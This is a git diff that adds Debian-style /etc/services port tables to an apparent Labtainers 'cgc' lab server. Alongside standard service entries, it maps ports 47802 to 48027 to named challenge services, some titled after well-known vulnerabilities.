+x11-1 6001/tcp +x11-1 6001/udp +x11-2 6002/tcp +x11-2 6002/udp +x11-3 6003/tcp +x11-3 6003/udp +x11-4 6004/tcp +x11-4 6004/udp +x11-5 6005/tcp +x11-5 6005/udp +x11-6 6006/tcp +x11-6 6006/udp +x11-7 6007/tcp +x11-7 6007/udp +gnutella-svc 6346/tcp # gnutella +gnutella-svc 6346/udp +gnutella-rtr 6347/tcp # gnutella +gnutella-rtr 6347/udp +sge-qmaster 6444/tcp sge_qmaster # Grid Engine Qmaster Service +sge-qmaster 6444/udp sge_qmaster +sge-execd 6445/tcp sge_execd # Grid Engine Execution Service +sge-execd 6445/udp sge_execd +mysql-proxy 6446/tcp # MySQL Proxy +mysql-proxy 6446/udp +afs3-fileserver 7000/tcp bbs # file server itself +afs3-fileserver 7000/udp bbs +afs3-callback 7001/tcp # callbacks to cache managers +afs3-callback 7001/udp +afs3-prserver 7002/tcp # users & groups database +afs3-prserver 7002/udp +afs3-vlserver 7003/tcp # volume location database +afs3-vlserver 7003/udp +afs3-kaserver 7004/tcp # AFS/Kerberos authentication +afs3-kaserver 7004/udp +afs3-volser 7005/tcp # volume managment server +afs3-volser 7005/udp +afs3-errors 7006/tcp # error interpretation service +afs3-errors 7006/udp +afs3-bos 7007/tcp # basic overseer process +afs3-bos 7007/udp +afs3-update 7008/tcp # server-to-server updater +afs3-update 7008/udp +afs3-rmtsys 7009/tcp # remote cache manager service +afs3-rmtsys 7009/udp +font-service 7100/tcp xfs # X Font Service +font-service 7100/udp xfs +http-alt 8080/tcp webcache # WWW caching service +http-alt 8080/udp +bacula-dir 9101/tcp # Bacula Director +bacula-dir 9101/udp +bacula-fd 9102/tcp # Bacula File Daemon +bacula-fd 9102/udp +bacula-sd 9103/tcp # Bacula Storage Daemon +bacula-sd 9103/udp +xmms2 9667/tcp # Cross-platform Music Multiplexing System +xmms2 9667/udp +nbd 10809/tcp # Linux Network Block Device +zabbix-agent 10050/tcp # Zabbix Agent +zabbix-agent 10050/udp +zabbix-trapper 10051/tcp # Zabbix Trapper +zabbix-trapper 10051/udp +amanda 10080/tcp # amanda backup services +amanda 10080/udp +dicom 11112/tcp +hkp 11371/tcp # OpenPGP HTTP Keyserver +hkp 11371/udp +bprd 13720/tcp # VERITAS NetBackup +bprd 13720/udp +bpdbm 13721/tcp # VERITAS NetBackup +bpdbm 13721/udp +bpjava-msvc 13722/tcp # BP Java MSVC Protocol +bpjava-msvc 13722/udp +vnetd 13724/tcp # Veritas Network Utility +vnetd 13724/udp +bpcd 13782/tcp # VERITAS NetBackup +bpcd 13782/udp +vopied 13783/tcp # VERITAS NetBackup +vopied 13783/udp +db-lsp 17500/tcp # Dropbox LanSync Protocol +dcap 22125/tcp # dCache Access Protocol +gsidcap 22128/tcp # GSI dCache Access Protocol +wnn6 22273/tcp # wnn6 +wnn6 22273/udp + +# +# Datagram Delivery Protocol services +# +rtmp 1/ddp # Routing Table Maintenance Protocol +nbp 2/ddp # Name Binding Protocol +echo 4/ddp # AppleTalk Echo Protocol +zip 6/ddp # Zone Information Protocol + +#========================================================================= +# The remaining port numbers are not as allocated by IANA. +#========================================================================= + +# Kerberos (Project Athena/MIT) services +# Note that these are for Kerberos v4, and are unofficial. Sites running +# v4 should uncomment these and comment out the v5 entries above. +# +kerberos4 750/udp kerberos-iv kdc # Kerberos (server) +kerberos4 750/tcp kerberos-iv kdc +kerberos-master 751/udp kerberos_master # Kerberos authentication +kerberos-master 751/tcp +passwd-server 752/udp passwd_server # Kerberos passwd server +krb-prop 754/tcp krb_prop krb5_prop hprop # Kerberos slave propagation +krbupdate 760/tcp kreg # Kerberos registration +swat 901/tcp # swat +kpop 1109/tcp # Pop with Kerberos +knetd 2053/tcp # Kerberos de-multiplexor +zephyr-srv 2102/udp # Zephyr server +zephyr-clt 2103/udp # Zephyr serv-hm connection +zephyr-hm 2104/udp # Zephyr hostmanager +eklogin 2105/tcp # Kerberos encrypted rlogin +# Hmmm. Are we using Kv4 or Kv5 now? Worrying. +# The following is probably Kerberos v5 --- ajt@debian.org (11/02/2000) +kx 2111/tcp # X over Kerberos +iprop 2121/tcp # incremental propagation +# +# Unofficial but necessary (for NetBSD) services +# +supfilesrv 871/tcp # SUP server +supfiledbg 1127/tcp # SUP debugging + +# +# Services added for the Debian GNU/Linux distribution +# +linuxconf 98/tcp # LinuxConf +poppassd 106/tcp # Eudora +poppassd 106/udp +moira-db 775/tcp moira_db # Moira database +moira-update 777/tcp moira_update # Moira update protocol +moira-ureg 779/udp moira_ureg # Moira user registration +spamd 783/tcp # spamassassin daemon +omirr 808/tcp omirrd # online mirror +omirr 808/udp omirrd +customs 1001/tcp # pmake customs server +customs 1001/udp +skkserv 1178/tcp # skk jisho server port +predict 1210/udp # predict -- satellite tracking +rmtcfg 1236/tcp # Gracilis Packeten remote config server +wipld 1300/tcp # Wipl network monitor +xtel 1313/tcp # french minitel +xtelw 1314/tcp # french minitel +support 1529/tcp # GNATS +cfinger 2003/tcp # GNU Finger +frox 2121/tcp # frox: caching ftp proxy +ninstall 2150/tcp # ninstall service +ninstall 2150/udp +zebrasrv 2600/tcp # zebra service +zebra 2601/tcp # zebra vty +ripd 2602/tcp # ripd vty (zebra) +ripngd 2603/tcp # ripngd vty (zebra) +ospfd 2604/tcp # ospfd vty (zebra) +bgpd 2605/tcp # bgpd vty (zebra) +ospf6d 2606/tcp # ospf6d vty (zebra) +ospfapi 2607/tcp # OSPF-API +isisd 2608/tcp # ISISd vty (zebra) +afbackup 2988/tcp # Afbackup system +afbackup 2988/udp +afmbackup 2989/tcp # Afmbackup system +afmbackup 2989/udp +xtell 4224/tcp # xtell server +fax 4557/tcp # FAX transmission service (old) +hylafax 4559/tcp # HylaFAX client-server protocol (new) +distmp3 4600/tcp # distmp3host daemon +munin 4949/tcp lrrd # Munin +enbd-cstatd 5051/tcp # ENBD client statd +enbd-sstatd 5052/tcp # ENBD server statd +pcrd 5151/tcp # PCR-1000 Daemon +noclog 5354/tcp # noclogd with TCP (nocol) +noclog 5354/udp # noclogd with UDP (nocol) +hostmon 5355/tcp # hostmon uses TCP (nocol) +hostmon 5355/udp # hostmon uses UDP (nocol) +rplay 5555/udp # RPlay audio service +nrpe 5666/tcp # Nagios Remote Plugin Executor +nsca 5667/tcp # Nagios Agent - NSCA +mrtd 5674/tcp # MRT Routing Daemon +bgpsim 5675/tcp # MRT Routing Simulator +canna 5680/tcp # cannaserver +syslog-tls 6514/tcp # Syslog over TLS [RFC5425] +sane-port 6566/tcp sane saned # SANE network scanner daemon +ircd 6667/tcp # Internet Relay Chat +zope-ftp 8021/tcp # zope management by ftp +tproxy 8081/tcp # Transparent Proxy +omniorb 8088/tcp # OmniORB +omniorb 8088/udp +clc-build-daemon 8990/tcp # Common lisp build daemon +xinetd 9098/tcp +mandelspawn 9359/udp mandelbrot # network mandelbrot +git 9418/tcp # Git Version Control System +zope 9673/tcp # zope server +webmin 10000/tcp +kamanda 10081/tcp # amanda backup services (Kerberos) +kamanda 10081/udp +amandaidx 10082/tcp # amanda backup services +amidxtape 10083/tcp # amanda backup services +smsqp 11201/tcp # Alamin SMS gateway +smsqp 11201/udp +xpilot 15345/tcp # XPilot Contact Port +xpilot 15345/udp +sgi-cmsd 17001/udp # Cluster membership services daemon +sgi-crsd 17002/udp +sgi-gcd 17003/udp # SGI Group membership daemon +sgi-cad 17004/tcp # Cluster Admin daemon +isdnlog 20011/tcp # isdn logging system +isdnlog 20011/udp +vboxd 20012/tcp # voice box system +vboxd 20012/udp +binkp 24554/tcp # binkp fidonet protocol +asp 27374/tcp # Address Search Protocol +asp 27374/udp +csync2 30865/tcp # cluster synchronization tool +3d_image_toolkit 47802/tcp +ais-lite 47803/tcp +ascii_content_server 47804/tcp +asl6parse 47805/tcp +accel 47806/tcp +audio_visualizer 47807/tcp +azurad 47808/tcp +barcoder 47809/tcp +bitblaster 47810/tcp +bloomy_sunday 47811/tcp +board_game 47812/tcp +budgit 47813/tcp +cgc_board 47814/tcp +cgc_file_system 47815/tcp +cgc_hangman_game 47816/tcp +cgc_image_parser 47817/tcp +cgc_planet_markup_language_parser 47818/tcp +cgc_symbol_viewer_csv 47819/tcp +cgc_video_format_parser_and_viewer 47820/tcp +cloudcompute 47821/tcp +cml 47822/tcp +cnmp 47823/tcp +collideoscope 47824/tcp +cttp 47825/tcp +cablegrind 47826/tcp +cablegrindllama 47827/tcp +carbonate 47828/tcp +casino_games 47829/tcp +cereal_mixup__a_cereal_vending_machine_controller 47830/tcp +character_statistics 47831/tcp +charter 47832/tcp +checkmate 47833/tcp +childs_game 47834/tcp +corinth 47835/tcp +cromulence_all_service 47836/tcp +dfars_sample_service 47837/tcp +diary_parser 47838/tcp +differ 47839/tcp +diophantine_password_wallet 47840/tcp +dive_logger 47841/tcp +divelogger2 47842/tcp +document_rendering_engine 47843/tcp +dungeon_master 47844/tcp +ecm_tcm_simulator 47845/tcp +eddy 47846/tcp +email_system_2 47847/tcp +enslavednode_chat 47848/tcp +estadio 47849/tcp +eternalpass 47850/tcp +fastlane 47851/tcp +fishyxml 47852/tcp +fsk_bbs 47853/tcp +fsk_messaging_service 47854/tcp +fun 47855/tcp +fablesreport 47856/tcp +facemag 47857/tcp +facilities_access_control_system 47858/tcp +failav 47859/tcp +filesys 47860/tcp +filesystem_command_shell 47861/tcp +finicky_file_folder 47862/tcp +flash_file_system 47863/tcp +flight_routes 47864/tcp +fortress 47865/tcp +gps_tracker 47866/tcp +greymatter 47867/tcp +game_night 47868/tcp +glue 47869/tcp +greatview 47870/tcp +gridder 47871/tcp +griswold 47872/tcp +grit 47873/tcp +h20flowinc 47874/tcp +highcoo 47875/tcp +hackman 47876/tcp +headscratch 47877/tcp +heartthrob 47878/tcp +highfrequencytradingalgo 47879/tcp +hug_game 47880/tcp +insulatr 47881/tcp +image_compressor 47882/tcp +kty_pretty_printer 47883/tcp +kaprica_go 47884/tcp +kaprica_script_interpreter 47885/tcp +lms 47886/tcp +lazycalc 47887/tcp +lazybox 47888/tcp +loud_square_instant_messaging_protocol_lsimp 47889/tcp +matchmaker 47890/tcp +material_temperature_simulation 47891/tcp +mathematical_solver 47892/tcp +matrix_math_calculator 47893/tcp +message_service 47894/tcp +minimalistic_memo_manager_3m 47895/tcp +mixology 47896/tcp +modern_family_tree 47897/tcp +monster_game 47898/tcp +mount_filemore 47899/tcp +movie_rental_service 47900/tcp +movie_rental_service_redux 47901/tcp +multi_arena_pursuit_simulator 47902/tcp +multi_user_calendar 47903/tcp +multicast_chat_server 47904/tcp +multipass 47905/tcp +multipass2 47906/tcp +multipass3 47907/tcp +music_store_client 47908/tcp +narfagainshell 47909/tcp +narfrpn 47910/tcp +network_file_system 47911/tcp +network_file_system_v3 47912/tcp +network_queuing_simulator 47913/tcp +neural_house 47914/tcp +nohic 47915/tcp +no_paper._not_ever._nope 47916/tcp +otpsim 47917/tcp +on_sale 47918/tcp +one_amp 47919/tcp +one_vote 47920/tcp +overflow_parking 47921/tcp +pcm_message_decoder 47922/tcp +pkk_steganography 47923/tcp +pru 47924/tcp +ptaas 47925/tcp +pac_for_edges 47926/tcp +packet_analyzer 47927/tcp +packet_receiver 47928/tcp +palindrome 47929/tcp +palindrome2 47930/tcp +parking_permit_management_system_ppms 47931/tcp +particle_simulator 47932/tcp +pattern_finder 47933/tcp +personal_fitness_manager 47934/tcp +printer 47935/tcp +quietsquare 47936/tcp +quadtreeconways 47937/tcp +query_calculator 47938/tcp +ram_based_filesystem 47939/tcp +rematch_2--mail_server--crackaddr 47940/tcp +rematch_3--address_resolution_service--sql_slammer 47941/tcp +rematch_4--cgcrpc_server--ms08-067 47942/tcp +rematch_5--file_explorer--lnk_bug 47943/tcp +rematch_6--secure_server--heartbleed 47944/tcp +rrpn 47945/tcp +recipe_database 47946/tcp +recipe_and_pantry_manager 47947/tcp +rejistar 47948/tcp +resort_modeller 47949/tcp +sauth 47950/tcp +scuba_dive_logging 47951/tcp +sftscbsiss 47952/tcp +sigsegv 47953/tcp +slur_reference_implementation 47954/tcp +solfedge 47955/tcp +spiffs 47956/tcp +sad_face_template_engine_sfte 47957/tcp +sample_shipgame 47958/tcp +scrum_database 47959/tcp +secure_compression 47960/tcp +sensr 47961/tcp +shortest_path_tree_calculator 47962/tcp +shoutctf 47963/tcp +simple_stack_machine 47964/tcp +single-sign-on 47965/tcp +snail_mail 47966/tcp +sorter 47967/tcp +space_attackers 47968/tcp +square_rabbit 47969/tcp +stock_exchange_simulator 47970/tcp +street_map_service 47971/tcp +string_info_calculator 47972/tcp +string_storage_and_retrieval 47973/tcp +taintedlove 47974/tcp +tfttp 47975/tcp +tiaca 47976/tcp +tvs 47977/tcp +tennis_ball_motion_calculator 47978/tcp +terrible_ticket_tracker 47979/tcp +textsearch 47980/tcp +the_longest_road 47981/tcp +thermal_controller_v2 47982/tcp +thermal_controller_v3 47983/tcp +tick-a-tack 47984/tcp +utf-late 47985/tcp +user_manager 47986/tcp +valvechecks 47987/tcp +vector_graphics_2 47988/tcp +vector_graphics_format 47989/tcp +venture_calculator 47990/tcp +virtual_machine 47991/tcp +water_treatment_facility_simulator 47992/tcp +whackjack 47993/tcp +wordcompletion 47994/tcp +xstore 47995/tcp +anagram_game 47996/tcp +basic_emulator 47997/tcp +basic_messaging 47998/tcp +chess_mimic 47999/tcp +cotton_swab_arithmetic 48000/tcp +cyber_blogger 48001/tcp +electronictrading 48002/tcp +expression_database 48003/tcp +greeter 48004/tcp +hawaii_sets 48005/tcp +humaninterface 48006/tcp +matrices_for_sale 48007/tcp +middleout 48008/tcp +middleware_handshake 48009/tcp +netstorage 48010/tcp +online_job_application 48011/tcp +online_job_application2 48012/tcp +payroll 48013/tcp +pizza_ordering_system 48014/tcp +reallystream 48015/tcp +root64_and_parcour 48016/tcp +router_simulator 48017/tcp +simpleocr 48018/tcp +simple_integer_calculator 48019/tcp +simplenote 48020/tcp +stack_vm 48021/tcp +stream_vm 48022/tcp +stream_vm2 48023/tcp +university_enrollment 48024/tcp +vfilter 48025/tcp +virtual_pet 48026/tcp +yolodex 48027/tcp diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/services.orig b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/services.orig new file mode 100644 index 000000000..b862cc1b9 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/services.orig @@ -0,0 +1,607 @@ +# Network services, Internet style +# +# Note that it is presently the policy of IANA to assign a single well-known +# port number for both TCP and UDP; hence, officially ports have two entries +# even if the protocol doesn't support UDP operations. +# +# Updated from http://www.iana.org/assignments/port-numbers and other +# sources like http://www.freebsd.org/cgi/cvsweb.cgi/src/etc/services . +# New ports will be added on request if they have been officially assigned +# by IANA and used in the real-world or are needed by a debian package. +# If you need a huge list of used numbers please install the nmap package. + +tcpmux 1/tcp # TCP port service multiplexer +echo 7/tcp +echo 7/udp +discard 9/tcp sink null +discard 9/udp sink null +systat 11/tcp users +daytime 13/tcp +daytime 13/udp +netstat 15/tcp +qotd 17/tcp quote +msp 18/tcp # message send protocol +msp 18/udp +chargen 19/tcp ttytst source +chargen 19/udp ttytst source +ftp-data 20/tcp +ftp 21/tcp +fsp 21/udp fspd +ssh 22/tcp # SSH Remote Login Protocol +ssh 22/udp +telnet 23/tcp +smtp 25/tcp mail +time 37/tcp timserver +time 37/udp timserver +rlp 39/udp resource # resource location +nameserver 42/tcp name # IEN 116 +whois 43/tcp nicname +tacacs 49/tcp # Login Host Protocol (TACACS) +tacacs 49/udp +re-mail-ck 50/tcp # Remote Mail Checking Protocol +re-mail-ck 50/udp +domain 53/tcp # Domain Name Server +domain 53/udp +mtp 57/tcp # deprecated +tacacs-ds 65/tcp # TACACS-Database Service +tacacs-ds 65/udp +bootps 67/tcp # BOOTP server +bootps 67/udp +bootpc 68/tcp # BOOTP client +bootpc 68/udp +tftp 69/udp +gopher 70/tcp # Internet Gopher +gopher 70/udp +rje 77/tcp netrjs +finger 79/tcp +http 80/tcp www # WorldWideWeb HTTP +http 80/udp # HyperText Transfer Protocol +link 87/tcp ttylink +kerberos 88/tcp kerberos5 krb5 kerberos-sec # Kerberos v5 +kerberos 88/udp kerberos5 krb5 kerberos-sec # Kerberos v5 +supdup 95/tcp +hostnames 101/tcp hostname # usually from sri-nic +iso-tsap 102/tcp tsap # part of ISODE +acr-nema 104/tcp dicom # Digital Imag. & Comm. 300 +acr-nema 104/udp dicom +csnet-ns 105/tcp cso-ns # also used by CSO name server +csnet-ns 105/udp cso-ns +rtelnet 107/tcp # Remote Telnet +rtelnet 107/udp +pop2 109/tcp postoffice pop-2 # POP version 2 +pop2 109/udp pop-2 +pop3 110/tcp pop-3 # POP version 3 +pop3 110/udp pop-3 +sunrpc 111/tcp portmapper # RPC 4.0 portmapper +sunrpc 111/udp portmapper +auth 113/tcp authentication tap ident +sftp 115/tcp +uucp-path 117/tcp +nntp 119/tcp readnews untp # USENET News Transfer Protocol +ntp 123/tcp +ntp 123/udp # Network Time Protocol +pwdgen 129/tcp # PWDGEN service +pwdgen 129/udp +loc-srv 135/tcp epmap # Location Service +loc-srv 135/udp epmap +netbios-ns 137/tcp # NETBIOS Name Service +netbios-ns 137/udp +netbios-dgm 138/tcp # NETBIOS Datagram Service +netbios-dgm 138/udp +netbios-ssn 139/tcp # NETBIOS session service +netbios-ssn 139/udp +imap2 143/tcp imap # Interim Mail Access P 2 and 4 +imap2 143/udp imap +snmp 161/tcp # Simple Net Mgmt Protocol +snmp 161/udp +snmp-trap 162/tcp snmptrap # Traps for SNMP +snmp-trap 162/udp snmptrap +cmip-man 163/tcp # ISO mgmt over IP (CMOT) +cmip-man 163/udp +cmip-agent 164/tcp +cmip-agent 164/udp +mailq 174/tcp # Mailer transport queue for Zmailer +mailq 174/udp +xdmcp 177/tcp # X Display Mgr. Control Proto +xdmcp 177/udp +nextstep 178/tcp NeXTStep NextStep # NeXTStep window +nextstep 178/udp NeXTStep NextStep # server +bgp 179/tcp # Border Gateway Protocol +bgp 179/udp +prospero 191/tcp # Cliff Neuman's Prospero +prospero 191/udp +irc 194/tcp # Internet Relay Chat +irc 194/udp +smux 199/tcp # SNMP Unix Multiplexer +smux 199/udp +at-rtmp 201/tcp # AppleTalk routing +at-rtmp 201/udp +at-nbp 202/tcp # AppleTalk name binding +at-nbp 202/udp +at-echo 204/tcp # AppleTalk echo +at-echo 204/udp +at-zis 206/tcp # AppleTalk zone information +at-zis 206/udp +qmtp 209/tcp # Quick Mail Transfer Protocol +qmtp 209/udp +z3950 210/tcp wais # NISO Z39.50 database +z3950 210/udp wais +ipx 213/tcp # IPX +ipx 213/udp +imap3 220/tcp # Interactive Mail Access +imap3 220/udp # Protocol v3 +pawserv 345/tcp # Perf Analysis Workbench +pawserv 345/udp +zserv 346/tcp # Zebra server +zserv 346/udp +fatserv 347/tcp # Fatmen Server +fatserv 347/udp +rpc2portmap 369/tcp +rpc2portmap 369/udp # Coda portmapper +codaauth2 370/tcp +codaauth2 370/udp # Coda authentication server +clearcase 371/tcp Clearcase +clearcase 371/udp Clearcase +ulistserv 372/tcp # UNIX Listserv +ulistserv 372/udp +ldap 389/tcp # Lightweight Directory Access Protocol +ldap 389/udp +imsp 406/tcp # Interactive Mail Support Protocol +imsp 406/udp +svrloc 427/tcp # Server Location +svrloc 427/udp +https 443/tcp # http protocol over TLS/SSL +https 443/udp +snpp 444/tcp # Simple Network Paging Protocol +snpp 444/udp +microsoft-ds 445/tcp # Microsoft Naked CIFS +microsoft-ds 445/udp +kpasswd 464/tcp +kpasswd 464/udp +urd 465/tcp ssmtp smtps # URL Rendesvous Directory for SSM +saft 487/tcp # Simple Asynchronous File Transfer +saft 487/udp +isakmp 500/tcp # IPsec - Internet Security Association +isakmp 500/udp # and Key Management Protocol +rtsp 554/tcp # Real Time Stream Control Protocol +rtsp 554/udp +nqs 607/tcp # Network Queuing system +nqs 607/udp +npmp-local 610/tcp dqs313_qmaster # npmp-local / DQS +npmp-local 610/udp dqs313_qmaster +npmp-gui 611/tcp dqs313_execd # npmp-gui / DQS +npmp-gui 611/udp dqs313_execd +hmmp-ind 612/tcp dqs313_intercell # HMMP Indication / DQS +hmmp-ind 612/udp dqs313_intercell +asf-rmcp 623/udp # ASF Remote Management and Control Protocol +qmqp 628/tcp +qmqp 628/udp +ipp 631/tcp # Internet Printing Protocol +ipp 631/udp +# +# UNIX specific services +# +exec 512/tcp +biff 512/udp comsat +login 513/tcp +who 513/udp whod +shell 514/tcp cmd # no passwords used +syslog 514/udp +printer 515/tcp spooler # line printer spooler +talk 517/udp +ntalk 518/udp +route 520/udp router routed # RIP +timed 525/udp timeserver +tempo 526/tcp newdate +courier 530/tcp rpc +conference 531/tcp chat +netnews 532/tcp readnews +netwall 533/udp # for emergency broadcasts +gdomap 538/tcp # GNUstep distributed objects +gdomap 538/udp +uucp 540/tcp uucpd # uucp daemon +klogin 543/tcp # Kerberized `rlogin' (v5) +kshell 544/tcp krcmd # Kerberized `rsh' (v5) +dhcpv6-client 546/tcp +dhcpv6-client 546/udp +dhcpv6-server 547/tcp +dhcpv6-server 547/udp +afpovertcp 548/tcp # AFP over TCP +afpovertcp 548/udp +idfp 549/tcp +idfp 549/udp +remotefs 556/tcp rfs_server rfs # Brunhoff remote filesystem +nntps 563/tcp snntp # NNTP over SSL +nntps 563/udp snntp +submission 587/tcp # Submission [RFC4409] +submission 587/udp +ldaps 636/tcp # LDAP over SSL +ldaps 636/udp +tinc 655/tcp # tinc control port +tinc 655/udp +silc 706/tcp +silc 706/udp +kerberos-adm 749/tcp # Kerberos `kadmin' (v5) +# +webster 765/tcp # Network dictionary +webster 765/udp +rsync 873/tcp +rsync 873/udp +ftps-data 989/tcp # FTP over SSL (data) +ftps 990/tcp +telnets 992/tcp # Telnet over SSL +telnets 992/udp +imaps 993/tcp # IMAP over SSL +imaps 993/udp +ircs 994/tcp # IRC over SSL +ircs 994/udp +pop3s 995/tcp # POP-3 over SSL +pop3s 995/udp +# +# From ``Assigned Numbers'': +# +#> The Registered Ports are not controlled by the IANA and on most systems +#> can be used by ordinary user processes or programs executed by ordinary +#> users. +# +#> Ports are used in the TCP [45,106] to name the ends of logical +#> connections which carry long term conversations. For the purpose of +#> providing services to unknown callers, a service contact port is +#> defined. This list specifies the port used by the server process as its +#> contact port. While the IANA can not control uses of these ports it +#> does register or list uses of these ports as a convienence to the +#> community. +# +socks 1080/tcp # socks proxy server +socks 1080/udp +proofd 1093/tcp +proofd 1093/udp +rootd 1094/tcp +rootd 1094/udp +openvpn 1194/tcp +openvpn 1194/udp +rmiregistry 1099/tcp # Java RMI Registry +rmiregistry 1099/udp +kazaa 1214/tcp +kazaa 1214/udp +nessus 1241/tcp # Nessus vulnerability +nessus 1241/udp # assessment scanner +lotusnote 1352/tcp lotusnotes # Lotus Note +lotusnote 1352/udp lotusnotes +ms-sql-s 1433/tcp # Microsoft SQL Server +ms-sql-s 1433/udp +ms-sql-m 1434/tcp # Microsoft SQL Monitor +ms-sql-m 1434/udp +ingreslock 1524/tcp +ingreslock 1524/udp +prospero-np 1525/tcp # Prospero non-privileged +prospero-np 1525/udp +datametrics 1645/tcp old-radius +datametrics 1645/udp old-radius +sa-msg-port 1646/tcp old-radacct +sa-msg-port 1646/udp old-radacct +kermit 1649/tcp +kermit 1649/udp +groupwise 1677/tcp +groupwise 1677/udp +l2f 1701/tcp l2tp +l2f 1701/udp l2tp +radius 1812/tcp +radius 1812/udp +radius-acct 1813/tcp radacct # Radius Accounting +radius-acct 1813/udp radacct +msnp 1863/tcp # MSN Messenger +msnp 1863/udp +unix-status 1957/tcp # remstats unix-status server +log-server 1958/tcp # remstats log server +remoteping 1959/tcp # remstats remoteping server +cisco-sccp 2000/tcp # Cisco SCCP +cisco-sccp 2000/udp +search 2010/tcp ndtp +pipe-server 2010/tcp pipe_server +nfs 2049/tcp # Network File System +nfs 2049/udp # Network File System +gnunet 2086/tcp +gnunet 2086/udp +rtcm-sc104 2101/tcp # RTCM SC-104 IANA 1/29/99 +rtcm-sc104 2101/udp +gsigatekeeper 2119/tcp +gsigatekeeper 2119/udp +gris 2135/tcp # Grid Resource Information Server +gris 2135/udp +cvspserver 2401/tcp # CVS client/server operations +cvspserver 2401/udp +venus 2430/tcp # codacon port +venus 2430/udp # Venus callback/wbc interface +venus-se 2431/tcp # tcp side effects +venus-se 2431/udp # udp sftp side effect +codasrv 2432/tcp # not used +codasrv 2432/udp # server port +codasrv-se 2433/tcp # tcp side effects +codasrv-se 2433/udp # udp sftp side effect +mon 2583/tcp # MON traps +mon 2583/udp +dict 2628/tcp # Dictionary server +dict 2628/udp +f5-globalsite 2792/tcp +f5-globalsite 2792/udp +gsiftp 2811/tcp +gsiftp 2811/udp +gpsd 2947/tcp +gpsd 2947/udp +gds-db 3050/tcp gds_db # InterBase server +gds-db 3050/udp gds_db +icpv2 3130/tcp icp # Internet Cache Protocol +icpv2 3130/udp icp +iscsi-target 3260/tcp +mysql 3306/tcp +mysql 3306/udp +nut 3493/tcp # Network UPS Tools +nut 3493/udp +distcc 3632/tcp # distributed compiler +distcc 3632/udp +daap 3689/tcp # Digital Audio Access Protocol +daap 3689/udp +svn 3690/tcp subversion # Subversion protocol +svn 3690/udp subversion +suucp 4031/tcp # UUCP over SSL +suucp 4031/udp +sysrqd 4094/tcp # sysrq daemon +sysrqd 4094/udp +sieve 4190/tcp # ManageSieve Protocol +epmd 4369/tcp # Erlang Port Mapper Daemon +epmd 4369/udp +remctl 4373/tcp # Remote Authenticated Command Service +remctl 4373/udp +f5-iquery 4353/tcp # F5 iQuery +f5-iquery 4353/udp +ipsec-nat-t 4500/udp # IPsec NAT-Traversal [RFC3947] +iax 4569/tcp # Inter-Asterisk eXchange +iax 4569/udp +mtn 4691/tcp # monotone Netsync Protocol +mtn 4691/udp +radmin-port 4899/tcp # RAdmin Port +radmin-port 4899/udp +rfe 5002/udp # Radio Free Ethernet +rfe 5002/tcp +mmcc 5050/tcp # multimedia conference control tool (Yahoo IM) +mmcc 5050/udp +sip 5060/tcp # Session Initiation Protocol +sip 5060/udp +sip-tls 5061/tcp +sip-tls 5061/udp +aol 5190/tcp # AIM +aol 5190/udp +xmpp-client 5222/tcp jabber-client # Jabber Client Connection +xmpp-client 5222/udp jabber-client +xmpp-server 5269/tcp jabber-server # Jabber Server Connection +xmpp-server 5269/udp jabber-server +cfengine 5308/tcp +cfengine 5308/udp +mdns 5353/tcp # Multicast DNS +mdns 5353/udp +postgresql 5432/tcp postgres # PostgreSQL Database +postgresql 5432/udp postgres +freeciv 5556/tcp rptp # Freeciv gameplay +freeciv 5556/udp +amqps 5671/tcp # AMQP protocol over TLS/SSL +amqp 5672/tcp +amqp 5672/udp +amqp 5672/sctp +ggz 5688/tcp # GGZ Gaming Zone +ggz 5688/udp +x11 6000/tcp x11-0 # X Window System +x11 6000/udp x11-0 +x11-1 6001/tcp +x11-1 6001/udp +x11-2 6002/tcp +x11-2 6002/udp +x11-3 6003/tcp +x11-3 6003/udp +x11-4 6004/tcp +x11-4 6004/udp +x11-5 6005/tcp +x11-5 6005/udp +x11-6 6006/tcp +x11-6 6006/udp +x11-7 6007/tcp +x11-7 6007/udp +gnutella-svc 6346/tcp # gnutella +gnutella-svc 6346/udp +gnutella-rtr 6347/tcp # gnutella +gnutella-rtr 6347/udp +sge-qmaster 6444/tcp sge_qmaster # Grid Engine Qmaster Service +sge-qmaster 6444/udp sge_qmaster +sge-execd 6445/tcp sge_execd # Grid Engine Execution Service +sge-execd 6445/udp sge_execd +mysql-proxy 6446/tcp # MySQL Proxy +mysql-proxy 6446/udp +afs3-fileserver 7000/tcp bbs # file server itself +afs3-fileserver 7000/udp bbs +afs3-callback 7001/tcp # callbacks to cache managers +afs3-callback 7001/udp +afs3-prserver 7002/tcp # users & groups database +afs3-prserver 7002/udp +afs3-vlserver 7003/tcp # volume location database +afs3-vlserver 7003/udp +afs3-kaserver 7004/tcp # AFS/Kerberos authentication +afs3-kaserver 7004/udp +afs3-volser 7005/tcp # volume managment server +afs3-volser 7005/udp +afs3-errors 7006/tcp # error interpretation service +afs3-errors 7006/udp +afs3-bos 7007/tcp # basic overseer process +afs3-bos 7007/udp +afs3-update 7008/tcp # server-to-server updater +afs3-update 7008/udp +afs3-rmtsys 7009/tcp # remote cache manager service +afs3-rmtsys 7009/udp +font-service 7100/tcp xfs # X Font Service +font-service 7100/udp xfs +http-alt 8080/tcp webcache # WWW caching service +http-alt 8080/udp +bacula-dir 9101/tcp # Bacula Director +bacula-dir 9101/udp +bacula-fd 9102/tcp # Bacula File Daemon +bacula-fd 9102/udp +bacula-sd 9103/tcp # Bacula Storage Daemon +bacula-sd 9103/udp +xmms2 9667/tcp # Cross-platform Music Multiplexing System +xmms2 9667/udp +nbd 10809/tcp # Linux Network Block Device +zabbix-agent 10050/tcp # Zabbix Agent +zabbix-agent 10050/udp +zabbix-trapper 10051/tcp # Zabbix Trapper +zabbix-trapper 10051/udp +amanda 10080/tcp # amanda backup services +amanda 10080/udp +dicom 11112/tcp +hkp 11371/tcp # OpenPGP HTTP Keyserver +hkp 11371/udp +bprd 13720/tcp # VERITAS NetBackup +bprd 13720/udp +bpdbm 13721/tcp # VERITAS NetBackup +bpdbm 13721/udp +bpjava-msvc 13722/tcp # BP Java MSVC Protocol +bpjava-msvc 13722/udp +vnetd 13724/tcp # Veritas Network Utility +vnetd 13724/udp +bpcd 13782/tcp # VERITAS NetBackup +bpcd 13782/udp +vopied 13783/tcp # VERITAS NetBackup +vopied 13783/udp +db-lsp 17500/tcp # Dropbox LanSync Protocol +dcap 22125/tcp # dCache Access Protocol 